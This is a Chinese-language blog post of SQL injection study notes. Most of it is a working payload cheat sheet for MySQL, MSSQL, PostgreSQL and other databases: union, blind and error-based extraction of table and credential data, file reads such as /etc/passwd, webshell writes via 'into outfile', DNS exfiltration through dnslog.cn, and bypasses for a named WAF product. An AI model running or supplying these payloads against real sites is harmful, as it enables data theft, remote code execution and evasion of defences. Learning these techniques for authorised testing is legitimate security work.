SQL注入学习笔记

SQL注入学习笔记

注入原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

MYSQL

在MYSQL5.0以上版本中,存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,可以通过直询它获取指定数据库下的表名或列名信息。

information_schema.tables  记录所有表名信息的表information_schema.co1umns 记录所有列名信息的表
table_name   	表名
column_name  	列名
table_schema 	数据库名

注入判断

  • and 1=1 正常 and 1=2 报错
  • 添加' 报错/显示异常
  • 传入非正常参数 报错/显示异常
  • union select 1,2,3--+判断显示位

数据库信息收集

# 数据库版本
version()
# 数据库名
database()
# 数据库用户
user()
# 操作系统
@@version_compile_os

常用查询命令

# 查看数据库
show databases;
# 使用数据库
use database_name;
# 查看表
show tables;
# 查看表的数据
select * from table_name;
# 查看列数据
select password from table_name;

分权限注入

首先通过user()命令获取当前用户权限

高权限时可以进行跨库注入文件读写

跨库注入

# 从information_schema获取库名
?id=-1 union se1ect 1,group_concat(schema_name),3 from information_schema.schemata
# 获取指定数据库下表名信息
?id=-1 union se1ect 1,group_concat(table_name),3 from information_schema.tables where table_schema="表名"
# 获取指定表下的列名信息
?id=-1 union se1ect 1,group_concat(column_name),3 from information_schema.columns where table_schema="表名" and column_name="列名"
# 获取指定列数据
?id=-1 union select 1,u,p,4 from 库名.admin

文件读写

# 文件读取
load_file()	
?id=-1 union se1ect 1,load_file('C:/wwwroot/index.php'),3
# 导出(写入)函数
1、into out_file
?id=-1 union se1ect 1,'<?php @eval($_POST['shell']);?>',3 into outfile 'C:/wwwroot/bak.php'--+
2、into dumpfile
?id=-1 union se1ect 1,'<?php @eval($_POST['shell']);?>',3 into dumpfile 'C:/wwwroot/bak.php'--+
# 常见问题
1、魔术引号开关 magic_quotes_gpc 或 addslashe()函数
当 magic_quotes_gpc=On 时,输入数据中含单引号(')、双引号(")、反斜线C与NULL(NULL字符)等字符,都会被加上反斜线。这些转义是必须的。
这时使用编码或宽字节绕过
将函数传参编码为16进制(Hex)
                                  
# 防御手段
自带防御:开启 agic_quotes_gpc
内置函数:对传入字符进行类型判断
自定义关键字过滤
Waf防护

# 文件路径获取
1.报错显示 网页快照等
2.扫描或找到phpinfo.php类遗留文件
3.网站爆路径漏洞
4.平台配置文件

低权限: 暴力猜解读取

不同参数类型注入

数字、字符(''$id')、搜索(%$id%)、JSON等;均可能存在注入漏洞
其中 SQL 语句干扰符号:' " % ) }等,具体需看写法

不同请求方法注入

若后端对请求头中参数进行操作,则GET、POST、COOKIE、REQUEST、HTTP头等也可能存在注入

其它数据库

Access 数据库

只含有一个名为Access的库 保存于网站源码下(为*.mdb)
Access无文件读写功能
暴力猜解失败时:进行偏移注入(解决列名获取不到的情况)
表名:查看登陆框源代码的表单值或观察URL特征等猜测

Sql Server(MsSql) 数据库

支持功能较多
[参考文章](https://blog.csdn.net/qq_35569814/article/details/100528187)

常用语句

# 判断是否存在注入
id=1 and 1=1 ;--
id=1 and 1=2 ;--
id=1/ 或者 id=1\
id=1-0

# 判断是否为mssql
id=1 and user>0 ;--		# 正常

# 判断数据库系统
id=1 and (select count(*) from sysobjects)>0 ;--		Mssql
id=1 and (select count(*) from msysobjects)>0 ;--		Access

# 盲注延时函数
waitfor delay '0:0:5' # 延时5秒

信息收集

# 查询当前数据库版本
@@version
# 查询当前数据库名称
db_name()
# 查询当前用户
use
# 查询数据库权限
IS_SRVROLEMEMBER()

常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
例; select IS_SRVROLEMEMBER('sysadmin'); 返回‘1’为此权限

mariDB

可通过mysql.innodb_table_stats查询表名

PostgreSQL

常用命令

select CURRENT_SCHEMA()           #查看当前权限
select user                       #查看用户
select current_user               #查看当前用户
select chr(97)                    #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110)  #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version()                  #查看PostgreSQL数据库版本
SELECT current_database()         #查看当前数据库
select length('admin')            #查看长度
 
select case when(expr1) then result1 else result2 end;  #如果xx,执行result1,否则result2
例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
 
select pg_read_file("/etc/passwd");          #读取文件
select system("whoami");                     #执行系统命令,11.2以下才有该命令
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';   #写入文件

# 布尔盲注
1 AND ASCII(SUBSTRING((SELECT COALESCE(CAST(COUNT(DISTINCT(schemaname)) AS CHARACTER(10000)),(CHR(32))) FROM pg_tables)::text FROM 1 FOR 1))>48
# 报错注入
1 AND 2518=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))||(SELECT COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))) FROM pg_tables OFFSET 0 LIMIT 1)::text||(CHR(113)||CHR(112)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC)
# 时间盲注
select pg_sleep(3)

MongoDB

非关系型数据库,大部分工具不支持 查询方式特殊
从零学习 NoSQL 注入之 Mongodb
注入工具:NoSqlAttack

查询方式

select查询数据
在网站应用中进行数据显示查询操作
例:select * from news where id=$id

insert插入数据
在网站应用中进行用户注册添加等操作
insert into news(id,url,text) values (2,'x','$t')

delete删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id

update
更新数据会员或后台中心数据同步或缓存等操作
例:update user set pwd='$p' where id=2 and username='admin'

order by排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $idselect id,name,price from news order by Sorder

注入拓展

布尔盲注

只返回对错 不返回数据

常用函数:regexp,like,ascii,left,ord,mid

测试语句

1'and '1'='1
1'and '1'='2
1' and if(1=1,1,0) --+
1' and if(1=2,1,0) --+

放回内容无变化尝试时间盲注

1'and sleep(10)--+

length获取长度

1' and if(length(database())=8,1,0)--+

substring字符串截取

# 截取第一个字符
1'and if(substring(database(),1,1)='r',1,0) --+
# 截取第二个字符
1'and if(sunstring(database(),2,1)='o',1,0) --+

时间盲注

主要使用if,sleep函数
其次使用mid,ascii函数
通过 响应时间 判断是否存在注入

?id=1' and sleep(5)--+

通过 响应时间 + 暴力猜解 枚举相关数据

# 获取长度
?id=1' and if(length(database())=8,sleep(5),sleep(9))--+
# 获取字符
?id=1' and if(substr(database(),1,1)='s',sleep(5),sleep(9))--+

遇到过滤时 可以使用Ascii编码 同时使用Ascii进行二分查找也可以加快枚举速度

?id=1' and if(ascii(substr(database(),1,1))>1,sleep(5),sleep(9))--+

报错注入

使用floor,updatexml,extractvalue等函数通过报错回显相关数据

报错注入测试语句

1'and info() --+

extractvalue 方法 只能显示32长度的内容 超过32字符采用字符串截取

?id=1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#

updatexml 方法

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

floor 方法

id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #

exp 方法

1' and exp(~(select * from(select user())a));

加解密注入

若数据请求时进行了编码或加密,则注入语句也应进行相应的编码或加密

而编码或加密后的Payload可以绕过引号过滤和WAF

可采用编写py参数处理脚本或PHP中转

二次注入

第一步:插入恶意数据第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是据本身包含恶意内容。
第二步:引用恶意数据在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入

DNS注入

解决盲注无回显,猜解效率低的问题

?id=1 and load_file(concat('//',database(),'.*.dnslog.cn/abc'))

堆叠注入(支持部分数据库)

堆叠注入详解 - 渗透测试中心 - 博客园 (cnblogs.com)

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。

产生原因

执行语句时候使用了 mysqli_multi_query 函数处理 sql 语句,导致产生堆叠注入

测试语句

# 判断注入
id=1' and 1=2 --+
id=1' and 1=1 --+
# 猜列数
?id=1' order by 3 #
# 测试联合查询
-1';show tables #

获取表名

-1' union select 1,2,(select group_concat(TABLE_NAME) from
information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) --+

获取列名

-1' union select 1,2,(select group_concat(column_name) from
information_schema.columns where TABLE_NAME='users' limit 0,1) --+

插入数据

-1';insert into users(id,username,password)values(66,'name','passwd') --+

宽字节注入

宽字节注入原理剖析总结 - 腾讯云开发者社区-腾讯云 (tencent.com)

常见URL编码

空格  %20
'    %27
#    %23
/    %2f
%09  TAB 键(水平)
%0a  新建一行
%0b  TAB 键(垂直)
%0c  新的一页
%0d  return 功能
%a0  空格

addslashes() gpc等过滤函数

单引号: '    /'
反斜线: /    //
双引号: "    /"
空值: NULL  /NULL

绕过过滤

  1. 在反斜线之前再加一个反斜线,将反斜线转义
  2. 宽字节注入

宽字节注入实例

%df

%df' ==> %df%5c%27 ==> (数据库GBK编码) ==> 運'

%aa

%aa' ==> %aa%5c%27 ==> (数据库GBK编码) ==> 大'

原理

url编码之后,如果%后面的两个字符的值(十六进制形式)超过了128(Ascii码最大值) 会默认为GBK格式,而Mysql在进行编码时将GBK形式两个字符编码成为一个汉字

测试语句

-1%df' and 1=1 --+
-1%df' or sleep(10)--+

16进制绕过参数名转义

union select 1,(select group_concat(column_name) from information_schema.columns where table_name =0x7573657273 ) --+

WAF绕过

搜索最新文章,总结新思路
SQL注入-绕过安全狗_一句话木马的博客-CSDN博客_sql注入绕过安全狗

更改提交方式

尝试使用不同的提交方式进行提交数据;达到绕过目的。

关键数据拦截绕过

常见关键词绕过

order
可以用 group 来绕过

空格
可以用/**/这个内联注释绕过。

注释符
可以用单引号进行闭合,如group by 1,2'

等号
可以用like或利用不等号<>替换 如 !(table_schema <> security)

  • 大小写

  • 加密解密

  • 编码解码

    换行%0A 注释%23

    id=-1 union%23a%0Aselect%201,2,3#

    id=-1 union%20/*//--/*/%20select%201,2,3--+

    /*//------//*//*%0a*/

  • 等价函数

  • 特殊符号

  • 反序列化

  • 注释符混用

    id=-1/**-1 union select 1,2,3#*/

参数污染

Fuzz测试

通过脚本批量组合payload,测试得到可用payload

白名单

如果拿到了网站WAF白名单,则可以尝试在header中修改参数绕过

X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip

静态资源

特定的静态资源后缀请求,常见的静态文件(js jpg swf css 等),类以白名单机制,waf为了检测效率,有时不去检测这样一些静态文件名后缀的请求。

http://127.0.0.1/index.php/1.js?id=1

url白名单

为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要ur1中存在白名单的字符串,就作为白名单不进行检测。
常见的ur1构造姿势:

爬虫白名单(扫描绕过)

通过设置扫描器User-Agent仿造搜索引擎爬虫,绕过流量防护

# 百度
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
# Google
Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
# 360
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider

数据库特性

根据目标数据库特殊语法构造Payload
如:MySql内联注释

中间件

如Apache下index,php/aaa.js?id=union select 1,2,3,4 有时会不对js jpg 等后缀参数进行过滤

Payload

# 安全狗4.0
#检测
-1' or "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' regexp "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' /*%23*/ /*!10440union%0aselect*/ 1,2,3 --+

#库名 用户
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),user(/*!10440%0a*/)--+

# 表名
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database(/*!10440%0a*/)--+

# 字段
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(column_name) from/*%23*/information_schema.columns where table_schema=database(/*!10440%0a*/) /*!10440and*/ table_name='users'-

# 值
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(username,password) from users--+

总结
1、内联yyds
2、在一些被拦截的地方多用/\*%23\*/和/\*!10440%0a\*/,有奇效。
posted @ 2022-08-05 18:05  Haibara-Z3r0  阅读(183)  评论(0编辑  收藏  举报